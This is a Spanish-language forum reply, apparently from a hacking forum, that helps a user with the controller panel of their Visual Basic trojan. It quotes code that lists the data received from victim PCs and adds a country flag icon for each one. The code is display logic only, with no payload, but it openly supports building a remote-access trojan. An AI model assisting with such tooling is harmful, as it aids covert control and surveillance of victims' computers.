Banderas!

[TUNOVATO]

tomando en cuenta que este es tu code:

http://foro.elhacker.net/programacion_vb/ayuda_con_mi_troyano-t226994.0.html;msg1079978#msg1079978


Me aplicare a este trozo es donde recibes la informacion de la pc (victima) entre ellas te envia el dato PAIS (que es un dato tipo string que contiene el Nombre del Pais o  Localizacion Regional del Pc (victima))

Código [Seleccionar] Expandir


Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long) 'cuando recibimos datos

Dim datos As String
Dim data() As String 'array

WS(Index).GetData datos 'recibimos los datos y los guardamos en la

variable "datos"

data = Split(datos, "|") 'data almacena los datos enviados por el servidor puesto que es un arreglo de datos estos con la funcion SPLIT son separados por lo tanto en Data(6) tenes almacenado el dato PAIS (que es un tipo string que tiene el nombre del pais)

Select Case data(0)

Case "Conexion"
Dim x As ListItem
Set x = LV.ListItems.Add(, Index & "|", data(1)) 'añadimos los datos, y en la key el indice y "|" para luego partirlo y poder identificar
x.SubItems(1) = WS(Index).RemoteHostIP 'mas datos que añadimos....
x.SubItems(2) = data(2) & "/" & data(3)
x.SubItems(3) = data(4)
x.SubItems(4) = data(5) & " MB"
x.SubItems(5) = data(6) ' Aca va ubicado el dato PAIS en el subitem del listview
x.SubItems(6) = data(7)
x.SubItems(7) = data(8)
x.SubItems(8) = data(9)
x.SubItems(9) = "v.1"
End Select
End Sub




solo tenes que agregar esto:

Código [Seleccionar] Expandir



Select Case data(0)

Case "Conexion"
Dim x As ListItem

' Para usar controles ImageList con el control
' ListView, deberá asociar un determinado control
' ImageList a las propiedades Icons y SmallIcons.

LV.Icons = ImageList1 'nombre del control donde tengas las imagenes o iconos
LV.SmallIcons = ImageList1 'nombre del control donde tengas las imagenes o iconos

'Método add: Agrega elementos nuevos al listado. sus parámetros son:
'listview1.listitem.add (índice), (clave), (texto), (icono), (icono pequeño)

Set x = LV.ListItems.Add(, Index & "|", data(1), , GetFlag(data(6)))



pruebalo...

estamos en contacto por aca por si las dudas....